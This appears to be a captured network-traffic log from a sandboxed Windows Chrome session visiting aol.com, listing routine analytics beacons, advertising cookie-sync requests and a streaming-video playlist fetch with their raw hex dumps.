2024-05-23 22:35:17 UTC	1593	OUT	POST /p?s=1197805788&t=0BdYLUrx9P9iiGPi,0.40691527204853073&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03281%04_E%03dwell%04_ts%031716503712%04_ms%03316%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:18 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.6	50586	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1592	OUT	POST /p?s=1197805788&t=XKiJBQgm0nhplmkU,0.10381849349681671&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03316%04_E%03dwell%04_ts%031716503712%04_ms%03323%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8
2024-05-23 22:35:18 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.6	50587	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1837	OUT	POST /p?s=1197805788&t=cIxyHhHqtJ7we8YS,0.9509836478739453&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03323%04_E%03dwell%04_ts%031716503712%04_ms%03327%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:18 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.6	50572	162.55.120.196	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	814	OUT	GET /sync/pub?sid=161&suid=https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0NDQmdGw9MjAxNjA=&piggybackCookie=$UID HTTP/1.1 Host: matching.truffle.bid Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	150	IN	HTTP/1.1 204 No Content Server: nginx/1.23.3 Date: Thu, 23 May 2024 22:35:18 GMT Connection: close Strict-Transport-Security: max-age=15768000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.6	50599	151.101.2.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1389	OUT	GET /manifest/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/6s/rendition.m3u8?fastly_token=NjY1MDFjYzRfNzQ0YjUyZjM0OTFiNjg5ZTg1Zjc2ZjAyN2NjZGUzOTE0NTlhYzE2NzdlMmZjMWJkZGI4YWQ5MDA2YTBiNWY4YQ%3D%3D&bcov_auth=eyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5MjE4NDMyMC04ZmYzLTQ1ZTktYjYwMC05OTBmODIyYzg2NjciLCJleHAiOjE3MTY1MDM5OTQsImlhdCI6MTcxNjUwMzY5NH0.uHoWDSvgrFiIR3SVLuB6EmG4srk_Rs7pEVtNU2pNnLO5V0ONl6EzrIXuAKS-7Ehp_A0hAqChl2wLDeHmcvhKVRHZdMXuZPAa0teF6_WlM7x_n5mysSGWagfKZz6U3IoR1Is_FTilvI1ukUt9fzC7oJGyS_6fauGBbE2jDx8anRk7uhpa7HiwLMhiiCIrj9--KEoK78fLQpz3g7RRWud41g_IOKl2wyeGVnaepIPAEae4VJ1wfXej4XKAVthy_qPtpnsC_JM1cvZtr2DHcTWh5RFLLP8pFo_pLjsaNLh3SU9Yq5AvszXMahu6K_ZWhSmyWPgnxhKD0hQUzkoRHc9f5w HTTP/1.1 Host: manifest.prod.boltdns.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://s.yimg.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	657	IN	HTTP/1.1 200 OK Connection: close Access-Control-Allow-Headers: X-Requested-With,Origin,Range,Accept-Encoding,Referer Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Server,Range,Content-Length,Content-Range Cache-Control: s-maxage=10800, max-age=10800 Content-Type: application/x-mpegURL X-Powered-By: BC X-Powered-From: gantry Accept-Ranges: bytes Age: 0 Date: Thu, 23 May 2024 22:35:18 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890061-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1716503718.085673,VS0,VE44 X-Device-Group: desktop-chrome transfer-encoding: chunked
2024-05-23 22:35:18 UTC	5	IN	Data Raw: 33 36 66 0d 0a Data Ascii: 36f
2024-05-23 22:35:18 UTC	879	IN	Data Raw: 23 45 58 54 4d 33 55 0a 23 45 58 54 2d 58 2d 56 45 52 53 49 4f 4e 3a 33 0a 23 45 58 54 2d 58 2d 4b 45 59 3a 4d 45 54 48 4f 44 3d 41 45 53 2d 31 32 38 2c 55 52 49 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 6e 69 66 65 73 74 2e 70 72 6f 64 2e 62 6f 6c 74 64 6e 73 2e 6e 65 74 2f 6c 69 63 65 6e 73 65 2f 76 31 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 3f 66 61 73 74 6c 79 5f 74 6f 6b 65 6e 3d 4e 6a 59 31 4d 44 46 6a 5a 47 46 66 5a 6d 4a 6b 59 54 4d 78 4e 6d 49 30 59 54 45 35 4d 6a 59 78 4d 7a 63 35 5a 44 59 78 4d 57 55 78 4d 6a Data Ascii: #EXTM3U#EXT-X-VERSION:3#EXT-X-KEY:METHOD=AES-128,URI="https://manifest.prod.boltdns.net/license/v1/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/04cd0196-5ce1-4316-ad15-e975ff605a08?fastly_token=NjY1MDFjZGFfZmJkYTMxNmI0YTE5MjYxMzc5ZDYxMWUxMj
2024-05-23 22:35:18 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2024-05-23 22:35:18 UTC	6	IN	Data Raw: 31 36 37 65 0d 0a Data Ascii: 167e
2024-05-23 22:35:18 UTC	1371	IN	Data Raw: 22 2c 49 56 3d 30 78 36 36 37 61 39 37 39 61 32 65 64 38 30 32 65 61 63 30 37 61 64 31 61 35 31 35 32 61 35 32 35 65 0a 23 45 58 54 2d 58 2d 50 4c 41 59 4c 49 53 54 2d 54 59 50 45 3a 56 4f 44 0a 23 45 58 54 2d 58 2d 4d 45 44 49 41 2d 53 45 51 55 45 4e 43 45 3a 30 0a 23 45 58 54 2d 58 2d 54 41 52 47 45 54 44 55 52 41 54 49 4f 4e 3a 36 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 62 39 66 63 61 32 35 39 2d 33 38 34 34 2d 34 Data Ascii: ",IV=0x667a979a2ed802eac07ad1a5152a525e#EXT-X-PLAYLIST-TYPE:VOD#EXT-X-MEDIA-SEQUENCE:0#EXT-X-TARGETDURATION:6#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-4
2024-05-23 22:35:18 UTC	1371	IN	Data Raw: 31 65 2f 62 39 66 63 61 32 35 39 2d 33 38 34 34 2d 34 33 37 63 2d 62 36 34 63 2d 30 32 32 34 64 63 33 65 64 37 36 36 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 61 31 63 37 62 63 64 36 66 31 64 32 36 30 64 61 30 35 35 66 31 63 64 34 37 65 30 38 38 37 64 65 66 36 62 35 32 34 63 63 30 39 33 34 37 33 32 39 65 30 32 63 32 34 37 32 66 32 33 64 66 62 64 65 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 Data Ascii: 1e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a1c7bcd6f1d260da055f1cd47e0887def6b524cc09347329e02c2472f23dfbde#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40
2024-05-23 22:35:18 UTC	1371	IN	Data Raw: 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 62 39 66 63 61 32 35 39 2d 33 38 34 34 2d 34 33 37 63 2d 62 36 34 63 2d 30 32 32 34 64 63 33 65 64 37 36 36 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 61 31 63 37 62 63 64 36 66 31 64 32 36 30 64 61 30 35 35 66 31 63 64 34 37 65 30 38 38 37 64 65 66 36 62 35 32 34 63 63 30 39 33 34 37 33 32 39 65 30 32 63 32 34 37 32 66 32 33 64 66 62 64 65 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 32 37 31 2d 61 2e 61 6b 61 6d 61 69 68 64 2e 6e 65 74 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 Data Ascii: 1/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a1c7bcd6f1d260da055f1cd47e0887def6b524cc09347329e02c2472f23dfbde#EXTINF:5.952,https://bcbolt446c5271-a.akamaihd.net/media/v1/hls/v4/a
2024-05-23 22:35:18 UTC	1371	IN	Data Raw: 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 62 39 66 63 61 32 35 39 2d 33 38 34 34 2d 34 33 37 63 2d 62 36 34 63 2d 30 32 32 34 64 63 33 65 64 37 36 36 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 61 31 63 37 62 63 64 36 66 31 64 32 36 30 64 61 30 35 35 66 31 63 64 34 37 65 30 38 38 37 64 65 66 36 62 35 32 34 63 63 30 39 33 34 37 33 32 39 65 30 32 63 32 34 37 32 66 32 33 64 66 62 64 65 0a 23 45 58 54 49 4e 46 3a 35 2e 39 35 32 2c 0a 68 74 74 70 73 3a 2f 2f 62 63 62 6f 6c 74 34 34 36 63 35 Data Ascii: /media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a1c7bcd6f1d260da055f1cd47e0887def6b524cc09347329e02c2472f23dfbde#EXTINF:5.952,https://bcbolt446c5
2024-05-23 22:35:18 UTC	274	IN	Data Raw: 31 31 2e 74 73 3f 61 6b 61 6d 61 69 5f 74 6f 6b 65 6e 3d 65 78 70 3d 31 37 31 36 35 32 36 32 39 38 7e 61 63 6c 3d 2f 6d 65 64 69 61 2f 76 31 2f 68 6c 73 2f 76 34 2f 61 65 73 31 32 38 2f 36 34 31 35 36 36 35 38 31 35 30 30 31 2f 36 62 39 64 61 66 32 33 2d 34 62 64 65 2d 34 30 66 64 2d 38 36 34 39 2d 35 62 65 36 64 63 62 39 36 39 31 65 2f 62 39 66 63 61 32 35 39 2d 33 38 34 34 2d 34 33 37 63 2d 62 36 34 63 2d 30 32 32 34 64 63 33 65 64 37 36 36 2f 30 34 63 64 30 31 39 36 2d 35 63 65 31 2d 34 33 31 36 2d 61 64 31 35 2d 65 39 37 35 66 66 36 30 35 61 30 38 2f 2a 7e 68 6d 61 63 3d 61 31 63 37 62 63 64 36 66 31 64 32 36 30 64 61 30 35 35 66 31 63 64 34 37 65 30 38 38 37 64 65 66 36 62 35 32 34 63 63 30 39 33 34 37 33 32 39 65 30 32 63 32 34 37 32 66 32 33 64 66 Data Ascii: 11.ts?akamai_token=exp=1716526298~acl=/media/v1/hls/v4/aes128/6415665815001/6b9daf23-4bde-40fd-8649-5be6dcb9691e/b9fca259-3844-437c-b64c-0224dc3ed766/04cd0196-5ce1-4316-ad15-e975ff605a08/*~hmac=a1c7bcd6f1d260da055f1cd47e0887def6b524cc09347329e02c2472f23df
2024-05-23 22:35:18 UTC	7	IN	Data Raw: 0d 0a 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.6	50579	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	732	OUT	GET /csync/RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003 HTTP/1.1 Host: sync.targeting.unrulymedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%7D
2024-05-23 22:35:18 UTC	387	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:18 GMT content-length: 43 set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-7c64f7b4-7a90-45eb-91ae-af76e523d963-003%22%7D; path=/; expires=Fri, 23 May 2025 22:35:18 GMT; domain=.targeting.unrulymedia.com; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" connection: close
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 ff ff ff 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.6	50595	213.155.156.167	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	821	OUT	GET /getuid/pubmatic?https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTI3NDUmdGw9MTI5NjAw&gdpr=0&gdpr_consent=&piggybackCookie=$UID HTTP/1.1 Host: d5p.de17a.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	138	IN	HTTP/1.1 200 content-length: 35 content-type: image/gif p3p: CP=NON CURa ADMa DEVa TAIa OUR STP IND UNI COM NAV connection: close
2024-05-23 22:35:18 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.6	50596	178.250.1.7	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	963	OUT	GET /user-sync/iframe?gdprapplies=0&gdpr=&ccpa=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dcriteo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24%7BCRITEO_USER_ID%7D&profile=230 HTTP/1.1 Host: ssp-sync.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=1f5a2429-5a10-4b50-95d0-3435c16ad1ac
